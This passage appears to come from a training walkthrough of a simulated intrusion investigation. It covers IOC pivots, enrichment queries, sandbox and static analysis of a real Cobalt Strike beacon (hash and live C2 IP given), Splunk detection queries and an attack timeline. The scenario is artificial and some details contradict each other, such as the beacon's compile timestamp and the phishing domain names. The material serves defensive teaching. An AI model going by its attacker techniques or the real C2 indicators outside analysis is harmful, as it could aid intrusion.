&mdash; Exfil connection via PowerShell; EID 5156 at 00:14:14ZCount 47 formula files &mdash; Accessed via EID 4663 in USPartner2024 share9. Cross-File Pivot &mdash; VS Code Global&nbsp;SearchVS Code&rsquo;s Ctrl+Shift+F searches across every open file simultaneously. Use it to verify IOC presence across all evidence in seconds &mdash; no SIEM needed for these basic&nbsp;pivots.Pivot on the exfil&nbsp;IP:Ctrl+Shift+F &rarr; 198.51.100.44:ngfw-flows.csv           line 12: ...10.10.2.15,198.51.100.44,443,...399481224...dns-queries.csv          line 10: ...sys-update-cdn.net,A,198.51.100.44...sql-audit.jsonl          line 4:  ...WebClient.UploadFile...198.51.100.44/recv...SERVER-RD-02-security    line 23: ...&quot;DestAddress&quot;:&quot;198.51.100.44&quot;...Four files, four hits, one IP. The full exfiltration chain is visible in one&nbsp;search.Pivot on the compromised account:Ctrl+Shift+F &rarr; svc_backup:DC01-security.jsonl       lines 7-9:   DCSync eventsSERVER-RD-02-security     lines 1-12:  SMB logon + file access + exfilsql-audit.jsonl           all 6 lines: full xp_cmdshell chainPivot on the C2&nbsp;domain:Ctrl+Shift+F &rarr; telemetry-cdn-services.biz:dns-queries.csv           lines 12-23: 11 beacon queries (6 from WS-IT-LEVI, 4 from WS-CFO-01, 1 missing)Pivot on the attacker source IP (AiTM phishing + VPN&nbsp;access):Ctrl+Shift+F &rarr; 185.220.101.47:azure-ad/signin-p.levi.json          line 18: suspicious sign-in from Istanbul &mdash; token replay, no MFAvpn/anyconnect-2024-10-24.log        line 4:  VPN authentication as p.levi, assigned 10.10.3.22palo-alto/dns-queries.csv            line 1:  attacker queried vpn.lifetechpharma.com 1 min before loginOne IP ties together AiTM credential theft, VPN infiltration, and the recon that preceded&nbsp;it.The full attack chain &mdash; AiTM phishing &rarr; VPN access &rarr; formula exfiltration &rarr; DCSync &rarr; CFO infection &mdash; is navigable via these four global searches without opening a&nbsp;SIEM:Search termAttack phase covered185.220.101.47Initial access: AiTM phishing, VPN infiltration, attacker recontelemetry-cdn-services.bizPersistence: C2 beaconing from both infected hostssvc_backupLateral movement: SMB, xp_cmdshell chain, DCSync198.51.100.44Exfiltration: NGFW flow, DNS lookup, SQL upload command, EID&nbsp;5156Found IOCsIP 198.51.100.44 &mdash; Confirmed in 4 files: ngfw-flows, dns-queries, sql-audit, SERVER-RD-02-securityAccount svc_backup &mdash; Confirmed in 3 files: DC01-security (DCSync), SERVER-RD-02-security (SMB+exfil), sql-audit (xp_cmdshell)Domain telemetry-cdn-services.biz &mdash; Confirmed in dns-queries (9 beacons) and VPN log (C2 during&nbsp;session)Timestamp 00:13:54Z &ndash; 00:14:14Z &mdash; 20-second exfil window triangulated across SQL, NGFW, and EID&nbsp;515610. IOC Enrichment &mdash; REST&nbsp;ClientCreate one&nbsp;.http file that holds every API call. VS Code&#039;s REST Client extension puts a Send Request link above each block &mdash; click it, the response appears in a split pane on the right. No curl, no terminal, no context&nbsp;switch.Create the&nbsp;file:Press Ctrl+N, then Ctrl+Shift+P &rarr; Save As &rarr; 03-analysis/ioc-queries.httpPaste the following:### IOC Enrichment &mdash; PROJ-2024-001### Click &quot;Send Request&quot; above any block &mdash; response opens in the right pane### Set keys in VS Code Settings &gt; REST Client &gt; Environment Variables### or use system env: @VT_KEY = {{$env VT_API_KEY}}@VT_KEY     = your_virustotal_api_key_here@SHODAN_KEY = your_shodan_api_key_here# ── VirusTotal ──────────────────────────────────────────────────────### VT &mdash; Primary C2 IPGET https://www.virustotal.com/api/v3/ip_addresses/203.0.113.87x-apikey: {{VT_KEY}}###### VT &mdash; Secondary C2 / exfil IPGET https://www.virustotal.com/api/v3/ip_addresses/198.51.100.44x-apikey: {{VT_KEY}}###### VT &mdash; Attacker VPN sourceGET https://www.virustotal.com/api/v3/ip_addresses/185.220.101.47x-apikey: {{VT_KEY}}###### VT &mdash; Primary C2 domainGET https://www.virustotal.com/api/v3/domains/telemetry-cdn-services.bizx-apikey: {{VT_KEY}}###### VT &mdash; AiTM phishing page domainGET https://www.virustotal.com/api/v3/domains/mfa-lifetechpharma.comx-apikey: {{VT_KEY}}###### VT &mdash; CFO phishing delivery domainGET https://www.virustotal.com/api/v3/domains/globalcontracts-secure.netx-apikey: {{VT_KEY}}###### VT &mdash; svchost32.exe binary hashGET https://www.virustotal.com/api/v3/files/3b4c14a87e5f9d8c2a1f4e6b9c0d2e7a1b3c5d8f2a4e6c8b0d3e5a7c1f4b8d2ex-apikey: {{VT_KEY}}###### VT &mdash; Imphash pivot (find related samples compiled from same source)GET https://www.virustotal.com/api/v3/intelligence/search?query=imphash%3A3a2b1c4d5e6f7a8b9c0d1e2f3a4b5c6dx-apikey: {{VT_KEY}}# ── Shodan ──────────────────────────────────────────────────────────### Shodan &mdash; Primary C2 IP (ports, services, hosting org)GET https://api.shodan.io/shodan/host/203.0.113.87?key={{SHODAN_KEY}}###### Shodan &mdash; Exfil IPGET https://api.shodan.io/shodan/host/198.51.100.44?key={{SHODAN_KEY}}# ── Certificate Transparency ─────────────────────────────────────────### crt.sh &mdash; Find all domains using certs issued to primary C2 IPGET https://crt.sh/?q=203.0.113.87&amp;output=json###### crt.sh &mdash; Cert history for primary C2 domainGET https://crt.sh/?q=telemetry-cdn-services.biz&amp;output=json# ── RDAP ────────────────────────────────────────────────────────────### RDAP &mdash; AiTM phishing domain registration dateGET https://rdap.org/domain/mfa-lifetechpharma.com###### RDAP &mdash; CFO phishing delivery domainGET https://rdap.org/domain/globalcontracts-secure.net# ── Passive DNS (no key required) ───────────────────────────────────### VT Passive DNS &mdash; historical resolutions for primary C2 IP (uses existing VT key)GET https://www.virustotal.com/api/v3/ip_addresses/203.0.113.87/resolutionsx-apikey: {{VT_KEY}}###### VT Passive DNS &mdash; historical resolutions for exfil IPGET https://www.virustotal.com/api/v3/ip_addresses/198.51.100.44/resolutionsx-apikey: {{VT_KEY}}###### RIPEstat &mdash; DNS history for primary C2 IP (no key, no rate limit for training)GET https://stat.ripe.net/data/dns-history/data.json?resource=203.0.113.87###### RIPEstat &mdash; BGP routing info: ASN, prefix, country for C2 IPGET https://stat.ripe.net/data/prefix-overview/data.json?resource=203.0.113.87###### RIPEstat &mdash; BGP routing info for exfil IPGET https://stat.ripe.net/data/prefix-overview/data.json?resource=198.51.100.44# ── WHOIS / RDAP (no key required) ──────────────────────────────────### ARIN RDAP &mdash; IP block owner, ASN, abuse contact for C2 IPGET https://rdap.arin.net/registry/ip/203.0.113.87###### ARIN RDAP &mdash; IP block owner for exfil IPGET https://rdap.arin.net/registry/ip/198.51.100.44###### ARIN RDAP &mdash; IP block owner for attacker VPN sourceGET https://rdap.arin.net/registry/ip/185.220.101.47###### RDAP &mdash; C2 domain registration: registrar, date, registrantGET https://rdap.org/domain/telemetry-cdn-services.biz###### RDAP &mdash; Exfil domain registrationGET https://rdap.org/domain/sys-update-cdn.netUsing the response&nbsp;pane:After clicking Send Request on the VT IP block, the right pane shows the full JSON response. Use Ctrl+F in the response pane to&nbsp;find:malicious &rarr; &quot;malicious&quot;: 12tags &rarr; [&quot;C2&quot;, &quot;malware&quot;]as_owner &rarr; &quot;Hostwinds LLC&quot;For the crt.sh response, Ctrl+F &rarr; name_value to see all co-hosted domains. cdn-telemetry-update.biz and windows-cdn-service.net appear &mdash; new IOCs not yet seen in the org&#039;s DNS logs. Switch to dns-queries.csv and Ctrl+F to check immediately.Commit the&nbsp;.http file &mdash; it is a reproducible audit trail of every enrichment query:git add 03-analysis/ioc-queries.httpgit commit -m &quot;PROJ-2024-001: IOC enrichment queries &mdash; VT, Shodan, crt.sh, RDAP&quot;Found IOCsIP 203.0.113.87 &mdash; Primary C2; VT: 12 malicious detections, ASN: Hostwinds LLCIP 198.51.100.44 &mdash; Secondary C2 / exfil&nbsp;endpointIP 185.220.101.47 &mdash; Attacker VPN&nbsp;sourceDomain telemetry-cdn-services.biz &mdash; Primary C2&nbsp;domainDomain mfa-lifetechpharma.com &mdash; AiTM phishing domain; registered 2024-10-18Domain globalcontracts-secure.net &mdash; CFO phishing delivery&nbsp;domainDomain cdn-telemetry-update.biz &mdash; New; discovered via crt.sh pivot on C2&nbsp;IPDomain windows-cdn-service.net &mdash; New; discovered via crt.sh pivot on C2&nbsp;IPHash (SHA256) 3b4c14a87e5f9d8c2a1f4e6b9c0d2e7a1b3c5d8f2a4e6c8b0d3e5a7c1f4b8d2e &mdash; svchost32.exe dropperHash (imphash) 3a2b1c4d5e6f7a8b9c0d1e2f3a4b5c6d &mdash; Pivot on VT to find related&nbsp;samples11. Sandbox Analysis &mdash; Submit the&nbsp;BinaryReal Cobalt Strike sample used in Steps 11&ndash;12 All IPs, domains, and hashes elsewhere in this walkthrough are synthetic &mdash; invented for training and not queryable on threat intel platforms. Steps 11 and 12 are the exception: they use a real Cobalt Strike beacon (trojan.remusstealer/cobalt, 48/75 detections on VirusTotal, SHA256: 1cf56da38e5fe05fd2242ff49bafa4271c5ee0868887bf91dafb6f47d1e46ae9) so you can practice sandbox submission and binary analysis against a file with genuine behavior. The C2 IP, HTTP profile, and PE metadata in these two steps reflect the real sample. All other scenario values (log IPs, exfil IPs, domains) remain fictional.Submit svchost32.exe (recovered via CrowdStrike RTR) to a sandbox. ANY.RUN is the recommended choice for training &mdash; it is interactive and lets you watch execution in real&nbsp;time.Submission (ANY.RUN):Navigate to app.any.run &rarr; New Task &rarr;&nbsp;UploadUpload svchost32.exe (SHA256: 1cf56da38e5fe05fd2242ff49bafa4271c5ee0868887bf91dafb6f47d1e46ae9)Environment: Windows 10 x64, User mode (realistic CFO&nbsp;context)Network mode: Real with IDS &mdash; this beacon makes live HTTPS connectionsTimeout: 120 seconds &mdash; beacon contacts C2 within the first&nbsp;minuteClick RunDownload the report to VS&nbsp;Code:After execution completes, click Export &rarr; JSON in ANY.RUN. Save it&nbsp;as:03-analysis/sandbox-svchost32-anyrun.jsonOpen in VS Code: press Shift+Alt+F to format. Use Ctrl+Shift+O (Outline) to navigate, Ctrl+F to&nbsp;search:Search term What you finddestination_ip91.211.251.245 &mdash; real C2 IP, port 443urlhttps://91.211.251.245/ga.js &mdash; Malleable C2 profile mimicking Google AnalyticsCookieBase64-encoded beacon metadata in the HTTP Cookie headerUser-AgentMozilla/4.0 (compatible; MSIE 8.0...) &mdash; hardcoded CS UA stringProxyServerBeacon installs proxy settings pointing to C2long-sleepsVT tag &mdash; beacon sleeps between check-ins (configurable interval)The Cobalt Strike Malleable C2 profile: the beacon GETs /ga.js &mdash; a path that mimics Google Analytics JavaScript. The Cookie header carries AES-encrypted metadata (victim hostname, PID, username) base64-encoded. The response body delivers shellcode or tasks. A defender looking only at the URL sees legitimate-looking traffic; the anomaly is the 443 connection to a non-Google IP.Add the C2 IP to ioc-queries.http and click Send Request on the VT and Shodan blocks to pivot immediately.Found IOCsHash (SHA256) 1cf56da38e5fe05fd2242ff49bafa4271c5ee0868887bf91dafb6f47d1e46ae9 &mdash; Cobalt Strike beacon; 48/75 VT detectionsHash (MD5) cd59d54a7af500f96aa0347bb5daf077 &mdash; same&nbsp;sampleIP 91.211.251.245:443 &mdash; real C2 server; HTTPS; confirmed in sandbox network&nbsp;trafficURL https://91.211.251.245/ga.js &mdash; Malleable C2 endpoint; mimics Google AnalyticsIndicator Cookie-encoded beacon &mdash; AES-encrypted victim metadata in HTTP Cookie&nbsp;headerIndicator long-sleeps &mdash; beacon interval; time between C2 check-ins12. Static Binary Analysis &mdash; Hex Editor +&nbsp;TerminalOpen the binary in VS Code Hex&nbsp;Editor:In VS Code Explorer, right-click svchost32.exe &rarr; Open With &rarr; Hex&nbsp;EditorThe file opens as a hex+ASCII dual-pane view. The ASCII column on the right makes string hunting visual &mdash; scroll through it and strings like /ga.js and Mozilla/4.0 are readable directly without running&nbsp;strings.Navigate to the PE timestamp:Press Ctrl+G &rarr; type 3C &rarr; Enter. This is the e_lfanew field (PE header pointer). Read the 4-byte little-endian value, convert to decimal &mdash; that is the offset to the PE signature (PE\0\0). Go to that offset + 8 for the TimeDateStamp field.For precise extraction, split the screen: keep Hex Editor on the left, open the integrated terminal on the&nbsp;right:python3 -c &quot;import pefile, datetime, ospe = pefile.PE(&#039;svchost32.exe&#039;)ts = pe.FILE_HEADER.TimeDateStampprint(f&#039;Compile timestamp : {datetime.datetime.fromtimestamp(ts, datetime.UTC)} UTC&#039;)print(f&#039;File size on disk : {os.path.getsize(\&quot;svchost32.exe\&quot;):,} bytes&#039;)print(f&#039;PE SizeOfImage    : {pe.OPTIONAL_HEADER.SizeOfImage:,} bytes&#039;)overlay = os.path.getsize(&#039;svchost32.exe&#039;) - pe.OPTIONAL_HEADER.SizeOfImageif overlay &gt; 0:    print(f&#039;Overlay detected  : {overlay:,} bytes after PE end&#039;)print(f&#039;Architecture      : {\&quot;x64\&quot; if pe.FILE_HEADER.Machine == 0x8664 else \&quot;x86\&quot;}&#039;)&quot;Output:Compile timestamp : 2026-05-15 13:55:55 UTCFile size on disk : 783,320 bytesOverlay detected  : presentArchitecture      : x64The PE timestamp (2026-05-15) is plausible and recent &mdash; this binary was freshly compiled, not timestomped. The presence of an overlay (data appended after the PE image end) is a Cobalt Strike loader signature: the encrypted beacon shellcode is stored in the overlay and unpacked at&nbsp;runtime.Extract C2&nbsp;strings:strings -n 8 svchost32.exe | grep -E &quot;(https?://|/ga\.js|Mozilla|Cookie|User-Agent|Cache-Control)&quot;Output includes:/ga.jsMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.1)Cache-Control: no-cacheThe /ga.js path and the MSIE 8.0 User-Agent are configuration strings baked into the Cobalt Strike beacon&#039;s Malleable C2 profile at compile time. Any sample sharing these exact strings was built from the same&nbsp;profile.Check imports &mdash; Cobalt Strike loaders minimise their import&nbsp;table:python3 -c &quot;import pefilepe = pefile.PE(&#039;svchost32.exe&#039;)print(f&#039;Architecture: {hex(pe.FILE_HEADER.Machine)}&#039;)if hasattr(pe, &#039;DIRECTORY_ENTRY_IMPORT&#039;):    for lib in pe.DIRECTORY_ENTRY_IMPORT:        fns = [i.name.decode() if i.name else f&#039;ord_{i.ordinal}&#039; for i in lib.imports]        print(f&#039;{lib.dll.decode()}: {fns}&#039;)else:    print(&#039;No standard import table &mdash; uses dynamic API resolution (common in CS loaders)&#039;)&quot;A Cobalt Strike loader typically has a minimal or absent import table &mdash; it resolves APIs at runtime using LoadLibrary/GetProcAddress or custom hash-walking to avoid static analysis. If the import table is empty, that itself is the&nbsp;finding.Pivot on the Malleable C2 profile strings &mdash; search VT for other samples using the same&nbsp;profile:Add to ioc-queries.http:### VT &mdash; search for samples sharing the same Malleable C2 User-Agent stringGET https://www.virustotal.com/api/v3/intelligence/search?query=content%3A%22MSIE+8.0%22+content%3A%22%2Fga.js%22+type%3Apeexex-apikey: {{VT_KEY}}Found IOCsHash (SHA256) 1cf56da38e5fe05fd2242ff49bafa4271c5ee0868887bf91dafb6f47d1e46ae9 &mdash; Cobalt Strike&nbsp;beaconHash (MD5) cd59d54a7af500f96aa0347bb5daf077IP 91.211.251.245 &mdash; C2 server; confirmed in binary strings and sandbox network&nbsp;trafficURL pattern /ga.js &mdash; Malleable C2 endpoint; Google Analytics impersonationString Mozilla/4.0 (compatible; MSIE 8.0...) &mdash; hardcoded CS User-Agent; pivot on VT content&nbsp;searchIndicator Overlay section &mdash; encrypted shellcode stored after PE image end; Cobalt Strike loader signatureIndicator Minimal import table &mdash; dynamic API resolution; evades import-based static detection13. Infrastructure Pivot &mdash; REST Client + Global&nbsp;Search13. Infrastructure Pivot &mdash; REST Client + Global&nbsp;SearchThe ioc-queries.http file already contains the Shodan, crt.sh, and RDAP blocks. Click through&nbsp;them.For the crt.sh response: press Ctrl+F in the response pane, search name_value. Two new domains appear: cdn-telemetry-update.biz and windows-cdn-service.net.Immediately pivot in VS Code global&nbsp;search:Press Ctrl+Shift+F, type cdn-telemetry-update:palo-alto/dns-queries.csv  &rarr;  (no results)Not in the org&rsquo;s DNS logs &mdash; but add both new domains to the IOC list in case they appear in a broader&nbsp;hunt.For the RDAP response (AiTM domain): Ctrl+F &rarr; registration &rarr; date 2024-10-18. The phishing email was sent 4 days later. Targeted, purpose-built infrastructure.Found IOCsDomain cdn-telemetry-update.biz &mdash; New; crt.sh co-hosted on 203.0.113.87; not yet in org DNS&nbsp;logsDomain windows-cdn-service.net &mdash; New; crt.sh co-hosted on 203.0.113.87; not yet in org DNS&nbsp;logsDate 2024-10-18 &mdash; Registration date of mfa-lifetechpharma.com; 4 days before&nbsp;phishing14. Splunk Correlation (SIEM Validation)Load the evidence into Splunk from the VS Code integrated terminal to validate that the Sigma rules fire on the real evidence:/opt/splunk/bin/splunk add oneshot sysmon/WS-CFO-01-sysmon.jsonl \  -sourcetype sysmon_json -index endpoint -host WS-CFO-01/opt/splunk/bin/splunk add oneshot windows-security/DC01-security.jsonl \  -sourcetype wineventlog -index wineventlog -host DC01/opt/splunk/bin/splunk add oneshot windows-security/SERVER-RD-02-security.jsonl \  -sourcetype wineventlog -index wineventlog -host SERVER-RD-02/opt/splunk/bin/splunk add oneshot palo-alto/ngfw-flows.csv \  -sourcetype pan:traffic -index firewall -host pa-3260/opt/splunk/bin/splunk add oneshot palo-alto/dns-queries.csv \  -sourcetype pan:dns -index firewall -host pa-3260/opt/splunk/bin/splunk add oneshot sql-audit/SERVER-RD-02-sql-audit.jsonl \  -sourcetype mssql_audit -index database -host SERVER-RD-02Query 1 &mdash; triage: C2 IPs across all&nbsp;indexes:index=* (203.0.113.87 OR 198.51.100.44) earliest=-30d| stats count by host, sourcetype, index| sort -countQuery 2 &mdash; DCSync from non-DC (DET-002 validation):index=wineventlog EventCode=4662  ObjectType=&quot;{19195a5b-6da0-11d0-afd3-00c04fd930c9}&quot;| where NOT match(IpAddress, &quot;^10\.10\.1\.(10|11)$&quot;)| table _time, host, SubjectUserName, IpAddress, ObjectName, PropertiesQuery 3 &mdash; service account off-hours (DET-003 validation):index=wineventlog EventCode=4624 LogonType=3  TargetUserName=svc_backup| eval hour=strftime(_time, &quot;%H&quot;)| where hour &lt; 6 OR hour &gt; 22| table _time, host, TargetUserName, IpAddress | sort _timeQuery 4 &mdash; exfil&nbsp;scope:index=wineventlog EventCode=4663 ObjectName=&quot;*USPartner2024*&quot;| stats count as files_accessed, min(_time) as first, max(_time) as last by SubjectUserName, hostQuery 5 &mdash; full 24-day timeline:index=* earliest=2024-10-22 latest=2024-11-16  (host=WS-IT-LEVI OR host=WS-CFO-01 OR host=SERVER-RD-02 OR host=DC01)| eval summary=coalesce(Message, Statement, query, CommandLine, &quot;event&quot;)| table _time, host, sourcetype, summary | sort _timeFound IOCsIP 203.0.113.87 &mdash; SIEM-validated; C2 traffic confirmed across endpoint and network&nbsp;indexesIP 198.51.100.44 &mdash; SIEM-validated; exfil traffic confirmed across endpoint and network&nbsp;indexesAccount svc_backup &mdash; DET-002: DCSync from 10.10.3.22 (non-DC); DET-003: off-hours logonFile pattern USPartner2024* (47 files) &mdash; DET-004: bulk access by svc_backup on SERVER-RD-02Indicator Off-hours logon &mdash; EID 4624 / LogonType 3 outside 06:00&ndash;22:00 windowCommit all analysis artifactsgit add 03-analysis/git commit -m &quot;PROJ-2024-001: evidence analysis &mdash; VS Code investigation complete; REST Client queries, RBQL, binary hex analysis, DCSync confirmed, exfil 381MB corroborated in 3 sources&quot;The timeline in Step R2 is now fully supported. Every event in the table has a source log opened in VS Code, a query or search that confirmed it, and a REST Client or terminal command a third party can replay independently.Step R2: Timeline &mdash; Two Paths, One&nbsp;Actor1. Open the timeline&nbsp;filenano 03-analysis/timeline/timeline.mdThe template has a header block and a markdown table. Fill the header&nbsp;first:Project: PROJ-2024-001Analyst: [your name]Last updated: 2024-11-15Time range: 2024-10-18 &ndash; 2024-11-15Evidence label key: CONFIRMED / CORROBORATED / INFERRED / HYPOTHESIZED / GAPThen add one row per event. Every row needs: timestamp (UTC), host, what happened, which log source you saw it in, an evidence label, and the ATT&amp;CK technique. If you do not have a technique yet, leave it blank and come back &mdash; do not skip the&nbsp;label.2. Add events in chronological orderThe timeline reveals what the CFO alert obscured: the breach started 24 days earlier through a completely different person.2024&ndash;10&ndash;18 &mdash; Externallifetechpharma-corp[.]eu registered as a typosquat domain.Source: OSINTLabel: CONFIRMEDATT&amp;CK: T1583.001Notes: Pre-attack infrastructure preparation.2024&ndash;10&ndash;22 11:23 &mdash; ExchangePhishing email sent to p.levi: &ldquo;MFA Re-enrollment Required&rdquo; with AiTM HTML attachment.Source: M365 ATPLabel: CONFIRMEDATT&amp;CK: T1566.001Notes: ATP SCL=4, delivered; threshold was&nbsp;5.2024&ndash;10&ndash;22 11:31 &mdash; WS-IT-LEVIUnknown activity &mdash; GAP-001 begins.Source: &mdash; Label: GAPATT&amp;CK: &mdash; Notes: Sysmon forwarder stopped.2024&ndash;10&ndash;24 02:17 &mdash; Azure AD + VPNVPN login as p.levi from Istanbul, Turkey, using hosting/VPS ASN. No MFA challenge recorded. Session lasted 1h 12min.Source: Azure AD sign-inLabel: CONFIRMEDATT&amp;CK: T1557, T1133Notes: 4:17 AM local time; Paz Levi lives in&nbsp;Rehovot.2024&ndash;10&ndash;24 02:19 &mdash; DC01EID 4624: network logon for svc_backup from WS-IT-LEVI / 10.10.3.22. Service account used outside business hours.Source: Windows Security / SplunkLabel: CONFIRMEDATT&amp;CK: T1078.002Notes: svc_backup has Domain Admin&nbsp;rights.2024&ndash;10&ndash;25 03:41 &mdash; SERVER-FIN-01svc_backup accessed \\SERVER-FIN-01\\FinanceReports\\2024\\.Source: File share audit, partialLabel: CORROBORATEDATT&amp;CK: T1039Notes: Log incomplete &mdash; access timestamp only, not filenames.2024&ndash;11&ndash;01 09:14 &mdash; WS-IT-LEVIGAP-001 ends. First DNS query to telemetry-cdn-services[.]biz resolving to 203.0.113.87. First C2 beacon from this host.Source: Palo Alto DNSLabel: CONFIRMEDATT&amp;CK: T1071.001Notes: Sysmon service and forwarder restarted at the same time &mdash; probable anti-forensics.2024&ndash;11&ndash;01 09:18 &mdash; SERVER-RD-02EID 4624: svc_backup SMB Type 3 logon from WS-IT-LEVI.Source: Windows SecurityLabel: CONFIRMEDATT&amp;CK: T1021.002Notes: Occurred four minutes after C2 reconnection.2024&ndash;11&ndash;06 02:09 &mdash; SERVER-RD-02EID 4624: svc_backup SMB logon from WS-IT-LEVI.Source: Windows SecurityLabel: CONFIRMEDATT&amp;CK: T1021.002Notes: Off-hours access.2024&ndash;11&ndash;06 02:10&ndash;02:14 &mdash; SERVER-RD-02EID 4663 &times;47: svc_backup accessed all 47 files in \\USPartner2024\\. Read activity occurred and modified timestamps were updated.Source: Windows SecurityLabel: CONFIRMEDATT&amp;CK: T1039Notes: Each file was individually accessed; timestamp modification suggests deliberate metadata manipulation.2024&ndash;11&ndash;06 02:14 &mdash; SERVER-RD-02EID 5156: outbound HTTPS from SERVER-RD-02 to external IP over port 443 during the file access window.Source: Windows Security + firewallLabel: CONFIRMEDATT&amp;CK: T1041Notes: Destination IP confirmed in Palo Alto NGFW log: 198.51.100.44; separate C2 from&nbsp;primary.2024&ndash;11&ndash;06 02:48 &mdash; DC01EID 4662: svc_backup requested DS-Replication-Get-Changes on DC01.Source: Windows SecurityLabel: CONFIRMEDATT&amp;CK: T1003.006Notes: DCSync indicator. Pentest scope did not include DCSync. Pentest VLAN is 10.10.99.0/24; this event came from 10.10.3.22.2024&ndash;11&ndash;15 17:58 &mdash; ExchangePhishing email sent to m.cohen, the CFO: &ldquo;Q4-2024 Licensing Agreement&rdquo; with&nbsp;.xlsm attachment. SPF, DKIM, and DMARC all failed.Source: M365 Message TraceLabel: CONFIRMEDATT&amp;CK: T1566.001Notes: Second entry point &mdash; 24 days after the&nbsp;first.2024&ndash;11&ndash;15 18:42 &mdash; WS-CFO-01Outlook spawned PowerShell with -NonI -W Hidden -Enc, downloading a second-stage payload from 203.0.113.87.Source: CrowdStrike + Sysmon EID 1Label: CONFIRMEDATT&amp;CK: T1059.001Notes: Triggering alert.2024&ndash;11&ndash;15 18:46&ndash;20:52 &mdash; WS-CFO-01LSASS memory access observed via Sysmon EID 10 with GrantedAccess 0x1010. Persistence added via Registry Run Key and scheduled task. BITS downloaded a second-stage binary.Source: Sysmon EID 10/11/13, EID 4698Label: CONFIRMEDATT&amp;CK: T1003.001, T1547.001, T1053.005, T1197Notes: svchost32.exe dropped to AppData\\Roaming.2024&ndash;11&ndash;15 20:52 &mdash; SERVER-FIN-01WMI lateral movement observed: WmiPrvSE spawned PowerShell with -Enc and a different base64 payload.Source: CrowdStrikeLabel: CONFIRMEDATT&amp;CK: T1021.003, T1059.001Notes: svc_finreport credentials used.2024&ndash;11&ndash;15 21:01 &mdash; SERVER-FIN-01Finance data staged: FR_2024_consolidated.zip created in C:\\Windows\\Temp\\.Source: CrowdStrike EID 11Label: CONFIRMEDATT&amp;CK: T1039, T1560Notes: 2.8 MB upload confirmed in firewall logs at&nbsp;21:14.2024&ndash;11&ndash;15 21:14 &mdash; WS-CFO-01wevtutil.exe cl Security executed, partially clearing the Windows Security log.Source: CrowdStrikeLabel: CONFIRMEDATT&amp;CK: T1070.001Notes: Sysmon log remained intact because it was protected.The evidence label system matters here. Event 12 (DCSync) is CONFIRMED &mdash; it exists in DC01&rsquo;s Windows Security log, forwarded to Splunk, from an IP that is definitively WS-IT-LEVI and definitively not the pentest VLAN. That cannot be waved away as &ldquo;possible pentest activity.&rdquo; Event 6 (finance server access) is CORROBORATED &mdash; single source with incomplete log &mdash; and can only appear in the technical report with an explicit qualifier, not in the executive brief as a stated&nbsp;fact.3. Save and&nbsp;commitgit add 03-analysis/timeline/timeline.mdgit commit -m &quot;PROJ-2024-001: timeline &mdash; 18 events Oct 18&ndash;Nov 15, dual-path confirmed, GAP-001 bounds established&quot;Step R3: Claims Ledger &mdash; Every Assertion Traced to&nbsp;Evidence1. Open the claims&nbsp;ledgernano 03-analysis/claims/claims-ledger.mdThe template has a table with six columns: ID, Claim, Evidence, Confidence, Competing Hypotheses, PIR. Start with an empty row for each major assertion you identified in the timeline &mdash; then fill each one completely before moving to the&nbsp;next.For each row, answer these five questions before typing a&nbsp;word:What is the exact assertion? (One sentence, falsifiable &mdash; could in principle be proven&nbsp;false)Which file and line number is the evidence in? (Not &ldquo;we saw in Splunk&rdquo; &mdash; the actual log reference)What confidence level and why? (High / Medium / Low / Insufficient &mdash; with explicit rationale)What alternative explanations were considered &mdash; and why were they ruled out or left&nbsp;open?Which PIR does this&nbsp;answer?If you cannot answer question 4, the claim is not ready to write. Think&nbsp;first.2. Fill in one claim per confirmed technique or PIR&nbsp;answerThe claims ledger converts the timeline into auditable, falsifiable assertions. Each claim answers five questions: what, evidence, confidence, competing hypotheses, which&nbsp;PIR.CL-001 &mdash; Initial access via AiTM phishing against IT admin&nbsp;p.leviClaim: Initial access was via AiTM phishing against IT admin p.levi on October 22,&nbsp;2024.Evidence: M365 ATP log shows AiTM HTML lure delivered at 11:23 and opened at 11:31. VPN login from Istanbul occurred at 02:17 on October 24 with no MFA challenge, indicating likely stolen session token&nbsp;replay.Confidence: HighCompeting Hypotheses: Credential purchase or insider activity cannot be fully ruled out without WS-IT-LEVI disk forensics, which is blocked by legal hold. However, the AiTM lure plus token replay pattern is more parsimonious.PIR: PIR-002CL-002 &mdash; Use of svc_backup Domain Admin credentials to access formula&nbsp;filesClaim: The adversary used svc_backup Domain Admin credentials to access SERVER-RD-02 and the formula&nbsp;files.Evidence: EID 4624 on SERVER-RD-02 shows svc_backup Type 3 logon from WS-IT-LEVI. EID 4663 occurred 47 times on formula&nbsp;files.Confidence: HighCompeting Hypotheses: Legitimate backup operation is ruled out because backup jobs run from SERVER-WSUS-01 / 10.10.4.x, not from WS-IT-LEVI. The timestamp, 02:09 UTC, is outside the maintenance window.PIR: PIR-002CL-003 &mdash; Exfiltration of 47 formula files on November 6,&nbsp;2024Claim: The 47 formula files in USPartner2024 were exfiltrated on November 6,&nbsp;2024.Evidence: EID 4663 occurred 47 times, showing file access. EID 5156 shows outbound HTTPS from SERVER-RD-02 at the same time. Palo Alto NGFW flow shows 10.10.2.15 &rarr; 198.51.100.44:443, with 381 MB outbound between 02:14 and 02:19&nbsp;UTC.Confidence: HighCompeting Hypotheses: File access for indexing or backup is ruled out because no backup job ran at this time. The 381 MB outbound volume matches the compressed formula package. The destination IP is not in the allowlist and resolves to a VPS hosting provider.PIR: PIR-001 &mdash; ANSWERED: YESCL-004 &mdash; DCSync executed via svc_backup on November&nbsp;6Claim: DCSync was executed via svc_backup Domain Admin rights on November 6 at 02:48&nbsp;UTC.Evidence: DC01 EID 4662 shows DS-Replication-Get-Changes GUID from 10.10.3.22, which is WS-IT-LEVI. The subject username was svc_backup.Confidence: HighCompeting Hypotheses: Legitimate AD replication is ruled out because the event originated from a workstation IP, not a domain controller. Authorized pentest scope explicitly excluded DCSync and used only 10.10.99.x IPs.PIR: PIR-003CL-005 &mdash; CFO path and IT admin path are same threat&nbsp;actorClaim: Path A, involving the CFO on November 15, and Path B, involving the IT admin on October 22, are attributable to the same threat&nbsp;actor.Evidence: Both svchost32.exe and UpdateHelper.dll share the same fake PE compile timestamp: 2018-04-09. The secondary C2 sys-update-cdn[.]net was hard-coded in the CFO implant and also used in SERVER-RD-02 DNS activity.Confidence: HighCompeting Hypotheses: Coincidence would require two separate actors to target the same organization at the same time using a near-identical toolchain. This is extremely implausible.PIR: PIR-002CL-006 &mdash; Full domain compromise via&nbsp;DCSyncClaim: The adversary achieved full domain compromise via DCSync. All Active Directory credentials must be treated as compromised.Evidence: CL-004 confirms DCSync activity. svc_backup held Domain Admin rights. DCSync requests included krbtgt and privileged account&nbsp;hashes.Confidence: HighCompeting Hypotheses: DCSync may have been partial 